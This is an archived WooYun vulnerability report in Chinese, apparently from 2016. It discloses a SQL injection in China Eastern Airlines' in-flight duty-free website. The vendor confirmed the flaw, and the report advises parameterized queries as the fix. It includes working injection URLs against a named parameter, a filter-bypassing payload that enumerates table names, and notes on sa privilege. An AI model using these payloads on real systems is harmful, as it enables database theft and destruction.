漏洞概要 关注数(7) 关注此漏洞
缺陷编号: WooYun-2016-181727
漏洞标题: 中国东方航空机上免税店SQL注入sa权限(绕过限制)
相关厂商: 中国东方航空股份有限公司
漏洞作者: wudu
提交时间: 2016-03-07 00:41
公开时间: 2016-04-21 08:41
漏洞类型: SQL注射漏洞
危害等级: 中
自评Rank: 10
漏洞状态: 厂商已经确认
漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系
Tags标签: SQL注入
漏洞详情
披露状态:
2016-03-07: 细节已通知厂商并且等待厂商处理中
2016-03-07: 厂商已经确认,细节仅向厂商公开
2016-03-17: 细节向核心白帽子及相关领域专家公开
2016-03-27: 细节向普通白帽子公开
2016-04-06: 细节向实习白帽子公开
2016-04-21: 细节向公众公开
简要描述:
中国东方航空机上免税店SQL注入sa权限,绕过程序防sql注入限制,有244张表
详细说明:
中国东方航空机上免税店http://www.ceairdutyfree.com/有配置防sql注入字符串如:char、exec、*、count等,但可以写程序批量跑出各个表和字段和数据。并且是sa权限。
比如:http://www.ceairdutyfree.com/p_list.aspx?isHot=1,isHot存在注入点,访问:http://www.ceairdutyfree.com/p_list.aspx?isHot=SYSTEM_USER,
http://www.ceairdutyfree.com/p_list.aspx?isHot=DB_NAME(),
http://www.ceairdutyfree.com/p_list.aspx?isHot=@@VERSION
得到当前用户是sa,数据库名称:csgmu_asp,数据库版本:Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
获取各个表:
查询:select r.name from (SELECT a.name,row_number() over(order by a.id desc) as rownum FROM sysobjects AS a INNER JOIN sysindexes AS b ON a.id = b.id WHERE (a.type = 0x55) AND (b.indid IN (0, 1))) r where rownum=1,最后条件rownum=1,2,3不断修改,会依次查询下一个表名,比如:
http://www.ceairdutyfree.com/p_list.aspx?isHot=(select%20r.name%20from%20(SELECT%20a.name,row_number()%20over(order%20by%20a.id%20desc)%20as%20rownum%20FROM%20sysobjects%20AS%20a%20INNER%20JOIN%20sysindexes%20AS%20b%20ON%20a.id%20=%20b.id%20WHERE%20(a.type%20=%200x55)%20AND%20(b.indid%20IN%20(0,%201)))%20r%20where%20rownum=1)
比如第一个表和最后一个第244个表:
可以写程序把表和字段获取出来,再查询各个字段的数据值。并且sa权限,drop table等没有过滤,因此危害程度还是非常大。
漏洞证明:
已证明
修复方案:
参数化或增加校验
版权声明:转载请注明来源 wudu@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2016-03-07 08:41
厂商回复:
十分感谢!
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
评论